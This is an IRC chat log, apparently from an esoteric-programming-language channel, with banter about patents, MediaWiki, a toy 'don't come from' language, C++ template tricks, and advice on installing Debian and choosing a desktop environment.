20:42:22 <elliott> aka faxathisia aka soupdragon aka quantumEd aka j-invariant aka crystal-cola aka ...
20:42:50 <Friendship> Infinikiller64: What's amazing is that this channel was on-topic no less than twenty minutes ago.
20:42:59 <oerjan> elliott: it was crystal-cola, forgot the hyphen
20:43:09 <oerjan> oh and what was at the end
20:43:29 <elliott> i guess maybe the .s were imprecise
20:43:33 -!- Infinikiller64 has left.
20:43:47 <elliott> i suspect that was killer64
20:43:47 <PiRSquared> "finitely many configurations" matched my stupid regex
20:43:56 <elliott> aka the first user in the new user log :P
20:44:24 <itidus20> Friendship: in general i'm very reactive.. i can't help it, my blood boils every time i read anything about patents or patent law
20:44:27 <elliott> oerjan: Did you know that the diff colours are changing in the next mediawiki release???
20:44:53 <Friendship> elliott: I blame everyone for his immediate departure.
20:45:06 <elliott> Friendship: istr e was in here before
20:45:18 <elliott> oerjan: see http://www.mediawiki.org/w/index.php?title=MediaWiki&diff=44532&oldid=44311 for an example
20:45:22 <oerjan> itidus20: so you are patently unstable?
20:45:37 <itidus20> you can't patent instability you monster
20:46:27 <itidus20> sure you can patent dna strands, tyre swings, and double-clicks
20:47:30 <itidus20> the patent office won't reject it... you just have to have the money to get a settlement in court if anyone challenges your word patent
20:47:31 <PiRSquared> http://en.wikipedia.org/wiki/Levante <-- already a word or something
20:47:54 <PiRSquared> http://en.wiktionary.org/wiki/levante#Noun something in French...
20:49:25 <itidus20> the patent office is like an employment agency existing to connect businesses to courtrooms analagous to connecting employees to employers
20:49:43 <elliott> oerjan: I was hoping for at least a little aieee.
20:50:43 <itidus20> the more i think about it, its not such a bad thing
20:50:56 <itidus20> but.. the world would be better off if you couldn't actually license patents
20:51:01 <itidus20> that seems to be where the trouble festers
20:51:25 <itidus20> rather that if you wanted to do anything you would have to find a new method
20:52:25 <oerjan> elliott: i'd be more interested if they made it choose more logical changes
20:53:05 <oerjan> oh and i sort of don't like that the color for entirely new lines is the same as the color for things that haven't changed
20:53:14 <oerjan> perhaps they've fixed that
20:54:13 <elliott> oerjan: sheesh it wasn't meant to be interesting
20:54:38 <oerjan> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOK
20:55:20 <elliott> PiRSquared: Hell naw, I love change!
20:55:28 <elliott> Also apparently it was done for colour-blind people and I'M NICE.
20:55:43 <PiRSquared> .diff-addedline { background-color: (old color) }
20:59:51 <oerjan> <fizzie> "This usage of a default BeVerb in Russian AI is a new technique in the year 2012 of the Mayan Calendar and may not only constitute unpatentable _prior art_ in AI but may also contribute to a Technological Singularity if Russia repeats her spectacular success of first place in the sweepstakes of exploring the Dark Side of the Moon. It will be "GAME OVER", if the creative minds of Russia create the expanded Mind of Dushka."
21:00:06 <oerjan> are you _sure_ that wasn't said by fungot
21:01:16 <elliott> oerjan: it's mentifex, what's the difference?
21:01:57 <oerjan> (sorry, i ahve to type blind because of tremendous lag)
21:07:02 <ais523> "the year 2012 of the Mayan Calendar"? didn't that happen ages ago?
21:07:48 <elliott> PiRSquared: crackpot ai guy
21:08:27 <oerjan> ais523: hm it's strange how it's obvious what's really meant, and yet it _does_ flag him as someone who doesn't think very precisely
21:08:38 <elliott> Man, some of these evil spidering bots are really aggressive.
21:08:51 <oerjan> and thus a possible crackpot
21:09:39 -!- Gregor has quit (Client Quit).
21:10:05 -!- augur has quit (Remote host closed the connection).
21:10:13 <elliott> oerjan: anyone who uses the words "mayan calendar" without following them up with "historically" or "debunked" is fairly likely to be a crackpot :P
21:11:06 <oerjan> elliott: i really think we should distinguish people who believe stuff from people who make them up
21:14:20 <ais523> what about people who make stuff up without believing it?
21:14:41 <oerjan> there's a different word for that
21:14:54 <elliott> oerjan: I have no ide what the resulting sentence is
21:15:20 <elliott> but yes, you're right, "crackpot" should probably be reserved for people with their own "theories"
21:15:33 <Friendship> Apparently I wrote some corewars fanfic:
21:15:35 <Friendship> "We were caught in each others' embrace, each in the moment executing each others' code, neither wishing to look back to our own, and so we danced. On the horizon, an imp, come clearly to ruin our brief romance, advanced towards us. As we looked deeply into each others loop construct for one last moment, our impending fate became us as it does us all. Now we too are imps."
21:15:37 <oerjan> elliott: the final two corrections are just obsessive anyhow
21:16:16 <elliott> periodic reminder that https://github.com/tombell/trollscript exists and humanity is worthless
21:16:44 * oerjan declares Friendship a Knight of Rule 34
21:17:06 <elliott> that's barely even a romance novel
21:17:35 <elliott> AT BEST, Friendship is a Pawn of Corewars Shipping
21:17:44 <elliott> F- would not grant title to again.
21:18:34 <oerjan> incidentally the norwegian word for the chess piece is "hest", meaning horse
21:19:32 <oerjan> that's colloquial, the official is "springer"
21:20:16 -!- NihilistDandy has joined.
21:20:37 <Friendship> Which of course is a reference to Springer Media, the publishing company.
21:20:43 <oerjan> meaning "leaper". while bishop is "løper", just to be confusing.
21:21:43 <oerjan> Friendship: i guess it's also the german word
21:23:55 <elliott> I bet Friendship knows how to access private members of a PHP class.
21:24:17 <elliott> Oh! OutputPage is a ContextSource!
21:24:19 <elliott> That's convenient, that is.
21:24:29 -!- KingOfKarlsruhe has quit (Remote host closed the connection).
21:24:31 <elliott> Convenient like butter on ice.
21:24:54 <Sgeo> (declare (ignore hunger))
21:25:42 <elliott> $wgOut->addLink( array( 'rel' => 'canonical',
21:25:42 <elliott> 'href' => $this->getTitle()->getLocalURL() )
21:26:13 <oerjan> <Gregor> Another fun corner of computational classes would be a language that's equivalent to a push-down automata except for the addition of a halting oracle for Turing machines. Assuming it's not Turing complete (it's unclear whether you could properly use the halting oracle to wend your way through the state with only a PDA), it would have the fun property of being unimplementable but less powerful than a Turing machine :)
21:26:43 <oerjan> i think it would all depend on exactly how the PDA is allowed to construct the input to its oracle...
21:26:46 * Sgeo wonders if using declare ignore is excessively verbose
21:26:51 <Sgeo> Other languages just prefix or use _
21:27:49 <oerjan> because it's not hard to turn a turing computation with a true/false result into two halting problems
21:28:19 <oerjan> (just add a final infinite loop on true, respectively false)
21:29:05 <elliott> function addCanonicalLink( OutputPage &$out, Skin &$skin ) {
21:29:05 <elliott> if ( $out->isArticle( ) ) {
21:29:05 <elliott> 'href' => $out->getWikiPage()->getTitle()->getLocalURL()
21:29:12 <elliott> #$wgHooks['BeforePageDisplay'][] = 'addCanonicalLink';
21:31:24 * oerjan swats everyone who used "automata" for the singular in the log discussion -----###
21:31:54 <elliott> oerjan: I can't seem to view this piece of data...
21:32:29 <oerjan> elliott: i think that one's gone too far to protest.
21:33:04 * elliott says "datum/criterion" on occasion.
21:33:22 <elliott> I believe I've even said "desideratum" once.
21:37:52 <HackEgo> gazari culat chopf buffigioi raima sokushn conum teaversonia crol itanacy pparvada dun fauclerron shee rov brah supfle luffaira unho gencom dishelin vacclxx thop levu inquina
21:41:29 <Phantom_Hoover> Wait, John Galt's speech in Atlas Shrugged is /a quarter of the book/.
21:42:00 <elliott> It's ~60 pages, I thought.
21:42:03 <elliott> Atlas Shrugged is over 1000.
21:42:23 <elliott> 70 pages out of 1168 sez WP
21:49:21 <Slereah> 70 pages is way too much, no matter the overall book
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22:03:02 <elliott> I'd appreciate comments on the wiki about a proposed policy change: http://esolangs.org/wiki/Esolang_talk:Policy#Language_authors
22:06:51 <elliott> I know it. I don't think it's known.
22:06:53 <ais523> I don't generally admit to having one
22:06:54 <Friendship> "and his middle name is not common knowledge" // it's certainly known by at least himself
22:06:57 <ais523> although it's obvious that it exists
22:07:07 <ais523> it's not common knowledge, but IIRC it is public knowledge if you know where to look
22:07:17 <ais523> but it's more fun if people try to find it for themselves
22:07:30 <Phantom_Hoover> elliott, he basically just said it's OK for you to tell me OK
22:08:16 * oerjan also knows ais523's middle name *cackles evilly*
22:09:08 * oerjan doesn't have a middle name btw
22:10:08 <oerjan> i'll see if i can remember that.
22:10:31 <elliott> SO MUCH TALKING, SO LITTLE ON-WIKI REPLYING
22:11:03 <Phantom_Hoover> http://en.wikipedia.org/wiki/Wikipedia:Alternative_outlets
22:11:20 <Phantom_Hoover> Look at the "arbiter of viewpoints" line in the directory of alternatives.
22:12:07 <oerjan> elliott: hm i have the distinct impression that it used to be possible to edit sections from diff pages before, at least if the final version was the current one
22:12:52 <oerjan> since i generally tend to look through the recent changes by diffs, that was useful
22:12:53 <elliott> oerjan: Well, that might be a MW change. I've seen Esolang's old LocalSettings.php, and it didn't turn on anything like that.
22:13:09 <elliott> oerjan: Why not click the arrow in the diff message and hit "edit" from there?
22:13:52 <elliott> (→Language authors: new section) (show/hide)
22:13:56 <elliott> The arrow is a link to the section.
22:14:00 <elliott> But there's no [edit] link on the sections :/
22:15:54 <elliott> oerjan: I'll look into it.
22:15:58 <elliott> but there's nothing i can do immediately
22:16:09 -!- azaq23 has quit (Quit: Leaving.).
22:16:20 <elliott> yay, maharba agrees with me :P
22:19:57 <elliott> Phantom_Hoover: "Forum for general chatter#wikipedia, Wikipedia Review, mwusers.com"
22:20:06 <elliott> Phantom_Hoover: Wikipedia Review is the bestest place for general chatter for Wikipedia users.
22:23:49 <elliott> ais523: hmm, I had an idea for an INTERCAL-inspired constraint-based tarpit
22:26:28 -!- PiRSquared has changed nick to [insertnickhere].
22:27:27 -!- [insertnickhere] has quit (Quit: for(\;\;){}).
22:30:48 <Phantom_Hoover> <elliott> Phantom_Hoover: Wikipedia Review is the bestest place for general chatter for Wikipedia users.
22:31:52 <elliott> Phantom_Hoover: err, possibly ais523 can explain better than I can
22:32:27 <ais523> it's basically a site whose purpose is bitching at Wikipedia
22:32:33 <ais523> not intentionally, but that's the community it attracted
22:34:42 <elliott> Phantom_Hoover: Basically it's a site that manages to be so trolly that it defeats the millions of valid criticisms one could make about Wikipedia.
22:35:10 <kallisti> real humans actually don't edit Wikipedia anymore.
22:35:12 <elliott> Phantom_Hoover: Also reactionary, e.g. IIRC they tend to support anything Sanger says, despite the fact that he's a complete idiot, because he doesn't like Wikipedia nowadays.
22:36:34 <elliott> Friendship: ais523: You should, like, reply on-wiki, like, , .
22:36:45 <ais523> meh, doing something else
22:36:53 <elliott> I can't dictate if my loyal supporters don't hail my every decision!
22:38:04 <kallisti> active and registered Wikipedia users are like 35% borg hivemind, 35% who use it as a social network, 25% trolls, and 5% who write legitimate well-written content.
22:38:27 <ais523> I don't think I fit into any of those categories when I was active
22:38:32 <ais523> social network was probably closest
22:39:04 <kallisti> think of it as like a multiset... or something
22:39:34 <elliott> I think Wikipedia's actual article content wouldn't suffer if every registered user just disappeared :P
22:39:40 <elliott> but it'd probably fall apart in every other area
22:40:04 <elliott> well, I suppose vandal reversion would be the main thing lost
22:40:39 <kallisti> no blocks, profusion of non-encyclopedic articles...
22:40:52 <Phantom_Hoover> <elliott> I think Wikipedia's actual article content wouldn't suffer if every registered user just disappeared :P
22:41:02 <Phantom_Hoover> You mean disappeared altogether or stopped using their account?
22:41:26 <elliott> see http://www.aaronsw.com/weblog/whowriteswikipedia
22:41:43 <elliott> Wikipedia tend to claim, or at least did in the past, that a small group of registered users are responsible for most of the edits
22:41:51 <elliott> but that's completely false if you look at articles
22:42:05 <elliott> (I suppose it might be true if you include Wikipedia-namespace edits)
22:48:48 <oerjan> on behalf of the wikignomes, i'd like to protest that i feel left out of your classification
22:49:18 <oerjan> although i suppose grammar corrections _might_ count as legitimate well-written content.
22:50:27 <elliott> wikignomes don't tend to register, I would say
22:51:00 <oerjan> how else could i get a wikignome userbox, duh
22:51:44 <elliott> hey there are IPs with user pages
22:51:51 <elliott> ais523: what was that famous one? I ASSUME YOU HAVE THEIR IP MEMORISED
22:52:11 <oerjan> i guess. but i don't think my IP is stable.
22:53:32 <elliott> oerjan: just add a redirect every time it changes :D
22:55:59 <olsner> heh, found the bug... my null was broken
22:57:58 <olsner> it was returning an internal type instead of the actual return value, so if you tested the value of (null x) with e.g. an if, it'd get matched as "not nil" and take the true-branch every time
22:58:42 <olsner> noticed it when trying to just evaluate and print (null something), because that internal thingy was not handled by the printer
22:59:27 -!- Jafet has quit (Ping timeout: 240 seconds).
22:59:31 <elliott> what are you implementing this in?
23:00:42 <olsner> i.e. in C++ templates at compile-time (the actual printing is an ugly messy hybrid, but the calculation of what to print is compile-time at least)
23:01:33 <elliott> olsner: I have some utilities you may find helpful for that
23:01:42 <elliott> see http://esolangs.org/wiki/Deadfish#C.2B.2B_templates
23:01:50 <olsner> I built a bunch of nice utilities for this project today, also a test suite
23:01:53 <elliott> probably very slow if you have large outputs though
23:02:00 <elliott> but it makes the output part simple
23:02:08 <elliott> and gives you decimal conversion ;)
23:04:52 -!- aloril has quit (Read error: Operation timed out).
23:04:59 <olsner> representative code line from my print stuff: operator char *() { return (char *)(T*)this; }
23:11:44 -!- Jafet has joined.
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23:16:49 <olsner> hmm, I think the next project for this will be lexical scoping and destructive updates
23:19:37 -!- aloril has joined.
23:29:28 <olsner> hmm, to keep track of the current state of all closures, it seems I need to build some kind of heap-like thing to store the closures in
23:30:07 <oerjan> elliott: since you gave up i guess i had to do it :)
23:30:26 <olsner> otoh, it wouldn't be terribly surprising if C++ actually had some weird way to have mutable state in templates
23:31:20 <elliott> oerjan: would you hate me if I told you that was what I was hoping for? :P
23:34:55 <oerjan> of course, that pretty much _is_ mostly a main loop template (although i did not copy an earlier one directly.)
23:35:48 <elliott> I NOTE THAT NOBODY ASKED ABOUT MY NEW ESOLANG IDEA
23:36:21 <elliott> <elliott> ais523: hmm, I had an idea for an INTERCAL-inspired constraint-based tarpit
23:36:57 <oerjan> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
23:37:44 <elliott> OK so basically there's only one instruction, and it's "don't come from".
23:38:05 <elliott> Execution proceeds by going to the only place it isn't forbidden from going to.
23:38:14 <elliott> (If there are multiple it's nondeterministic or something.)
23:38:49 <Jafet> Will it feature a cut rule?
23:39:08 <elliott> Cut rules are for laaaaameeers.
23:39:20 <elliott> Oh, and the come from is computed, of course.
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23:42:38 <elliott> 20 don't come from 9+i and don't come from 40 and print 0
23:42:39 <elliott> 30 don't come from 10 and don't come from 40 and exit
23:42:39 <elliott> 40 don't come from 10+i and don't come from 20 and print 1
23:43:03 <elliott> (OK, there are input/print/exit instructions too.)
23:44:26 <elliott> Also variables are immutable.
23:44:56 <Jafet> Now elliott plays name-that-computational-class!
23:45:11 <elliott> Also you can only have one non-don't-come-from command per line.
23:45:35 <ion> Ooh, DON’T COME FROM is even cooler than COME FROM.
23:45:39 <elliott> Jafet: I guess I'll probably need mutable data to be TC.
23:45:57 <Jafet> Just add instructions that add instructions.
23:46:17 <Jafet> Self-modifying languages are all the rage
23:48:40 <fizzie> elliott: Doesn't line 10 need some don't-come-froms?
23:49:04 <elliott> 10 don't come from 20 and don't come from 30 and don't come from 40 and input i
23:49:04 <elliott> 20 don't come from 9+i and don't come from 40 and print 0
23:49:04 <elliott> 30 don't come from 10 and don't come from 40 and exit
23:49:04 <elliott> 40 don't come from 10+i and don't come from 20 and print 1
23:49:16 <elliott> Mayhaps it should have a more concise syntax.
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00:01:21 <elliott> Jafet: ha, your suggestion might actually be required to implement e.g. 99bob
00:02:08 -!- derdon has quit (Remote host closed the connection).
00:04:55 <Friendship> No loops are necessary to implement 99bob ;)
00:06:28 <elliott> Ohh, I don't need dynamic statement creation
00:06:46 <elliott> Except I'd need universally quantified don't-come-froms >_>
00:08:00 <oerjan> don't-come-froms in the type system
00:09:18 <Friendship> How does one describe a programming language capable of implementing 99bob through more interesting means than cat does :)
00:10:06 <Jafet> nbob in O(log n) strokes
00:10:19 <Jafet> If you're feeling particularly generous, o(n)
00:10:38 <Jafet> As usual, see Knuth for more information
00:11:42 <Friendship> At the very least, the number of bytes you have to write is O(n), so there will be an O(n) multiplier. You can't do better than O(n). And cat can do it in O(n).
00:11:55 <oerjan> Friendship: i think he's referring to program size
00:12:29 <Jafet> The program is extensionally equivalent to the output, anyway, so the output size is also o(n).
00:12:33 <Friendship> I think the intuition we want is that an nbob program can be written which is parameterized on n.
00:13:44 <elliott> 10 don't come from 20 and don't come from 199 and set n to 100
00:13:44 <elliott> 20 don't come from 10 and set n to n-1
00:13:44 <elliott> 30 don't come from 100+(n==0) and exit
00:13:44 <elliott> 101 don't come from 10 and don't print n
00:13:52 <elliott> But having (==) is totally cheating, so lemme rework this...
00:14:23 <Jafet> The fun thing is that your programs are mostly uncomposable.
00:14:31 <elliott> 10 don't come from 20 and don't come from 100 and set n to 100
00:14:31 <elliott> 20 don't come from 10 and set n to n-1
00:14:31 <elliott> 30 don't come from 100-n and exit
00:14:31 <elliott> 100 don't come from 10 and don't print n
00:14:35 <Jafet> Well, it is less fun when you write the programs.
00:14:43 <elliott> Tada, that's for (int i=99;i;i--) printf("%d\n",i)
00:15:25 <elliott> This is the best paradigm, you guys.
00:15:46 <elliott> Just create a line that nothing can come from, and that can't come from itself
00:15:52 <elliott> That will lead to execution.
00:16:02 <elliott> Or execution of the program's life :P
00:16:33 <Friendship> The best thing about the CAPTCHA is it tells me when I forget to log in X-D
00:16:51 <elliott> 10 don't come from 20 and don't come from 30 and don't come from 100 and set n to 100
00:16:51 <elliott> 20 don't come from 10 and don't come from 30 and set n to n-1
00:16:51 <elliott> 30 don't come from 10 and don't come from 20 and don't come from 30 and don't come from 100-n and exit
00:16:51 <elliott> 100 don't come from 10 and don't come from 30 and print n
00:16:57 <elliott> Friendship: The old wiki had a CAPTCHA too :P
00:17:18 <elliott> It was just a trivial sum.
00:17:37 <Friendship> Was it already visible before you tried to edit? Maybe I just never thought about it because it didn't really interrupt me.
00:18:04 <elliott> 10 don't come from 20 and don't come from 30 and don't come from 200 and set n to 100
00:18:04 <elliott> 20 don't come from 10 and don't come from 30 and set n to n-1
00:18:04 <elliott> 30 don't come from 10 and don't come from 20 and don't come from 30 and don't come from 200-n and exit
00:18:04 <elliott> 200 don't come from 10 and don't come from 30 and print n
00:18:14 <elliott> (100-n would be actual program lines sometimes >_>)
00:18:21 <elliott> Friendship: It showed up once you tried to edit for the first time.
00:18:26 <ais523> elliott: is this a mix of INTERCAL and Forte?
00:18:37 <elliott> It was based on the same "framework", just disabled for registrations and using a simpler CAPTCHA module.
00:18:40 <elliott> ais523: No Forte, numbers don't change :P
00:18:52 <elliott> ais523: But it's an INTERCALish-control-flow constraint-solving tarpit.
00:18:57 <Jafet> C-INTERCAL, to be precise.
00:19:09 <elliott> So no, every INTERCAL apart from the original.
00:19:14 <elliott> And COME FROM is undeniably INTERCALish :P
00:19:46 <elliott> ais523: Basically, all you have on every line is an arbitrary number of don't come froms and one optional "additional" command (set, print, input or exit).
00:20:06 <elliott> Control flow starts at line 10, and then goes wherever it's not banned.
00:22:41 -!- zzo38 has joined.
00:22:53 <elliott> Come on, this is great!!!!!!!!! ! !
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00:35:28 <elliott> Friendship: I pronounce fancy L as "L".
00:35:41 <elliott> "Fancy L" is an ugly pronunciation.
00:35:57 <monqy> I pronounce fancy l as "ℒ"
00:36:38 <ion> I pronounce fancy L as ⅃
00:37:11 -!- pikhq has joined.
00:37:19 <ion> Quadruple L: 卐
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00:48:45 <ais523> wow at some date observations on Reddit
00:49:11 <ais523> HTML and Linux were initially announced within a week of each other
00:50:21 <elliott> hmm, print and input should probably operate with ASCII, not digits
00:50:30 <elliott> but one statement per character would be...
00:50:46 <elliott> oh, I'll just have both print <constant string> and print <integer>
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01:04:43 <zzo38> I have added a few more to Truth-machine
01:07:05 <elliott> zzo38: are you sure dc is an esolang? :P
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01:09:38 <zzo38> But it can be implemented anyways just to show the use of a few other programming languages that are different from others common ones.
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01:13:13 <elliott> Deewiant: How painful is using Trifecta?
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01:38:01 <elliott> @hoogle (a -> Bool) -> [a] -> m a
01:38:01 <lambdabot> Data.List find :: (a -> Bool) -> [a] -> Maybe a
01:38:01 <lambdabot> Prelude dropWhile :: (a -> Bool) -> [a] -> [a]
01:38:01 <lambdabot> Data.List dropWhile :: (a -> Bool) -> [a] -> [a]
01:38:10 <elliott> @hoogle (a -> Bool) -> [a] -> m (Maybe a)
01:38:10 <lambdabot> Data.List find :: (a -> Bool) -> [a] -> Maybe a
01:38:10 <lambdabot> Data.Foldable find :: Foldable t => (a -> Bool) -> t a -> Maybe a
01:38:10 <lambdabot> Data.List findIndex :: (a -> Bool) -> [a] -> Maybe Int
01:40:53 <lambdabot> System.IO localeEncoding :: TextEncoding
01:40:54 <lambdabot> GHC.IO.Encoding localeEncoding :: TextEncoding
01:40:54 <lambdabot> Data.Time.LocalTime module Data.Time.LocalTime
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01:41:38 <shachaf> kmc: I solved <https://stripe.com/blog/capture-the-flag> today. It was fun. You recommended io.smashthestack.org once, right?
01:42:21 <kmc> i too solved it today
01:42:28 <kmc> looking forward to my free t-shirt
01:42:32 <kmc> io.sts is a lot of fun
01:42:57 <shachaf> I spent far too long trying to do it in ways that didn't work.
01:43:06 <kmc> of the stripe one?
01:43:10 <shachaf> Maybe it's not that I'm insidious so much as that I'm stubborn.
01:43:14 <shachaf> Yes, I haven't done other ones.
01:43:29 <kmc> if you enjoyed it you should play io :D
01:43:42 <shachaf> I also spent far too long trying to stuff use argv[0] instead of buf in level03
01:43:59 <shachaf> I got it working without ASLR.
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01:44:03 <kmc> (how does this channel feel about spoilers?)
01:44:55 <shachaf> Hmm, I guess that was a spoiler.
01:45:02 <elliott> kmc: Well, I just /clear'd in case I want to try it later.
01:51:09 <kallisti> any opinions on Enlightenment?
01:55:22 <kallisti> any opinions on the Enlightenment desktop environment?
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02:13:55 <kallisti> have any of you guys switched to Gnome 3 and found it usable?
02:23:13 <elliott> # of people in here who have tried gnome 3: at least 2
02:23:17 <elliott> # of people in here who have tried gnome 3 and disliked it: at least 2
02:26:11 <kallisti> I feel so stuck when it comes to desktop environments...
02:26:19 <kallisti> I just want a well-maintained GNOME 2 forever. :P
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02:27:55 <kallisti> maybe one day GNOME will be like "okay guys we were wrong we're switching back to a traditional desktop environment!"
02:28:25 <elliott> kallisti: just use xfce or switch to something better
02:28:37 <kallisti> "something better" what would that be.
02:28:47 <monqy> what's a desktop environment
02:28:48 <kallisti> that's the one I'm looking for.
02:29:04 <lambdabot> Network.CGI liftIO :: MonadIO m => IO a -> m a
02:29:04 <lambdabot> Control.Monad.IO.Class liftIO :: MonadIO m => IO a -> m a
02:29:04 <lambdabot> Network.CGI liftIO :: MonadIO m => forall a. IO a -> m a
02:29:12 <elliott> kallisti: Something that isn't a DE.
02:30:05 <kallisti> I'd have to invest a lot of time to even figure out if I want to use it.
02:30:18 <elliott> That applies to every environment equally.
02:30:37 <kallisti> I suppose it would be easier to get accustomed to than something like gnome 3
02:30:52 <elliott> Not with xmonad-contrib, anyway.
02:31:05 <kallisti> you're running Arch now right?
02:31:38 <elliott> Yes, but I plan to migrate to Debian.
02:32:09 <elliott> Because Arch is annoying me and I use Debian on solidity anyway.
02:32:22 <kallisti> I've heard bad things about out-of-date packages, which is the main reason I want to try something like Arch.
02:33:09 <elliott> Debian stable is out-of-date. Debian testing is not.
02:33:27 <elliott> Debian unstable is even less out-of-date (by a few weeks, and it keeps going through the release freeze), but is unstable.
02:33:31 <kallisti> what's the version of GHC for testing?
02:33:41 <elliott> If so, then testing will be more up to date than what you have.
02:33:57 <elliott> http://packages.debian.org/testing/haskell/ghc6 7.0.4
02:34:04 <elliott> http://packages.debian.org/unstable/haskell/ghc6 has 7.4.1, so testing should get it sometime soonish.
02:34:17 <elliott> (within the next few weeks, or maybe a month or two at the worst)
02:34:41 <elliott> (7.2 was in [testing], but got removed.)
02:35:04 <elliott> Oh, it's just called "ghc" nowadays, not ghc6.
02:35:07 <elliott> Presumably because it's no longer version 6.
02:35:35 <kallisti> I was basically debating Debian vs. Arch
02:36:01 <elliott> http://cdimage.debian.org/cdimage/daily-builds/daily/arch-latest/amd64/iso-cd/
02:36:07 <elliott> (http://cdimage.debian.org/cdimage/daily-builds/daily/arch-latest/amd64/iso-cd/debian-testing-amd64-netinst.iso to be specific.)
02:36:21 <elliott> Use the graphical installer (not expert), use empty root password to get sudo.
02:36:28 <elliott> Remember to de-check "Desktop environment", or it'll install GNOME.
02:36:42 <kallisti> oh wait I have to decide on what WM/DE I want.
02:36:49 <elliott> You can do that after installation.
02:37:15 <kallisti> that requires me to actually make a swift decision.
02:39:36 <elliott> kallisti: If you do use xmonad, don't use Debian's.
02:39:42 <elliott> (This applies to Haskell packages in general.)
02:39:47 <elliott> It is OK to use Debian's cabal-install, however.
02:39:51 <kallisti> I'll try it out in VirtualBox. I've certainly procrastinated long enough.
02:40:22 <kallisti> you cabal install xmonad is fine?
02:40:37 <elliott> Yes, that's fine. (You'll want cabal install xmonad-contrib pretty soon after that for non-trivial configuration.)
02:40:45 <elliott> Note that occasionally the nightly installer can fail to install a working system, but that's rare and will fix itself in a day or two.
02:41:00 <elliott> (The testing installer image is actually the nightly testing build of the installer itself that just happens to install testing.)
02:41:14 <kallisti> is there such a thing as a command line web browser?
02:41:56 <elliott> Do you seriously not know the answer to that?
02:42:52 <kallisti> I haven't had a need for a command line web browser.
02:43:10 <elliott> sudo apt-get install (w3m|lynx)
02:43:17 <elliott> But come on, how do you not know about lynx?
02:43:32 <kallisti> what set of circumstances would lead me to know about lynx?
02:44:09 <Jafet> wget $1 --output-document=- | html2text | less
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02:47:27 <kallisti> it's the second version of Web
02:47:44 <elliott> kallisti: Come on, w3m can do images.
02:49:10 <kallisti> reading Wikipedia is actually pretty reasonable.
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02:50:37 <kallisti> hmmm # thingies don't work correctly...
02:50:40 <kallisti> I don't remember what they're called
02:53:43 <kallisti> elliott: I have 4 GBs of memory, is 500 MBs reasonable for a VirtualBox install of Debian?
02:53:59 <elliott> and 512 is reasonable, 1024 would be reasonable too
02:54:11 <elliott> check free -m (second line) to see how much you can give away
02:54:26 <kallisti> I'm using exactly half of my memory right now.
02:57:43 <Jafet> VirtualBox.exe Private Bytes 144,520 K Working Set 108,544 K
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03:03:09 <elliott> Jafet: WINDOWS USER DETECTED
03:04:46 <Jafet> mv /usr/bin/VirtualBox /usr/bin/VirtualBox.exe
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03:08:13 <kallisti> wow this installer is really swift...
03:08:52 <elliott> kallisti: Oh, and you don't want the automatic HD formatting stuff.
03:08:58 <elliott> It creates like 4 partitions.
03:09:08 <elliott> It'll offer to organise the HD partitions for you.
03:09:15 <elliott> Just choose the manual partitioner and create one big jfs partition or whatever.
03:09:34 <kallisti> why not have an encrypted home?
03:09:44 <Jafet> Why not have an encrypted /?
03:09:47 <kallisti> I mean, for this VM it matters not...
03:10:03 <elliott> kallisti: You can do that by doing that.
03:10:12 <elliott> It'll offer to do LVM stuff for you.
03:10:12 <Jafet> All that /home stuff only makes sense for multi-user systems.
03:10:16 <elliott> But, err, have you ever used LVM?
03:10:34 <elliott> I'd recommend not caring about encryption, then.
03:11:01 <kallisti> unless that's what Ubuntu does..
03:12:28 <kallisti> "All files in one partition" that doesn't sound like 4 partitions to me.
03:13:28 <elliott> Well, that might work. But it'll use the wrong filesystem.
03:14:11 <kallisti> (note: that's "for some value of elliott")
03:14:33 <kallisti> maybe I should say fsvoe-wrong
03:15:09 <elliott> kallisti: Well, ext3 is deprecated.
03:15:13 <elliott> ext4 is planned to be deprecated by design.
03:15:17 <elliott> btrfs is unstable and Oracle-controlled.
03:15:23 <elliott> It's almost certainly going to select ext4.
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03:16:56 <elliott> kallisti: So unless you *want* to store your data on something planned-obsolete for btrfs by design...
03:17:49 <kallisti> maybe I just don't give a shit for this install...
03:19:30 <elliott> The idea of a test install is that you do what you plan to do for real, but whatever.
03:19:34 <kallisti> what is the One True Elliott filesystem.
03:20:11 <kallisti> my main goal is to see how I like Debian with various interfaces on top.
03:20:19 <kallisti> the filesystem choice isn't really crucial to any of that.
03:20:36 <elliott> By the way, if you try Xfce, don't install xfce4-goodies. Just install the core xfce package.
03:21:21 <Friendship> Second by the way: Use XFCE. It's the only tolerable one ^^
03:22:50 <kallisti> I'm pretty sure I already know what to expect from XFCE, but I might try it if I don't like xmonad.
03:22:57 <kallisti> and then, there's always KDE...
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03:23:07 <elliott> KDE 4 is unmitigated shit.
03:23:28 <elliott> (You can also ask Friendship, pikhq and Vorpal, former users of KDE 3, if you want a second opinion on this.)
03:23:37 <elliott> At least I think pikhq used KDE 3.
03:24:13 <kallisti> it's for some reason taking a reaaaalllly long time to erase data on the virtual hard drive its installing itself on...
03:24:25 <elliott> There are no existing partitions.
03:24:49 <elliott> How did you set up the filesystems?
03:25:22 <kallisti> with the automatic settings, on the one sda device available to install on, using encrypted LVM
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03:50:45 <Friendship> As much as ais wants me to keep this nick, I think I prefer "Gregor"
03:54:16 <shachaf> Wait, ddarius isn't the maintainer anymore.
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04:22:41 <elliott> Hmm, starting execution at line 10 is ugly.
04:22:50 <lambdabot> Data.IntMap findMin :: IntMap a -> (Key, a)
04:22:50 <lambdabot> Data.IntSet findMin :: IntSet -> Int
04:22:51 <lambdabot> Data.Map findMin :: Map k a -> (k, a)
04:22:52 <lambdabot> Data.IntMap minView :: IntMap a -> Maybe (a, IntMap a)
04:22:52 <lambdabot> Data.IntSet minView :: IntSet -> Maybe (Int, IntSet)
04:22:52 <lambdabot> Data.Map minView :: Map k a -> Maybe (a, Map k a)
04:23:17 <lambdabot> *Exception: Map.findMin: empty map has no minimal element
04:23:23 <elliott> shachaf: Look at that shit.
04:24:26 <shachaf> Well, ASCII partial question, get a partial ANSI
04:25:36 <elliott> type Exec = ReaderT Program (StateT Env (RandT StdGen IO))
04:28:27 <elliott> Do I have enough monads yet?
04:30:10 <shachaf> You should name your program ExecMonad
04:36:36 <kallisti> wait what distinguishes RandT from StateT
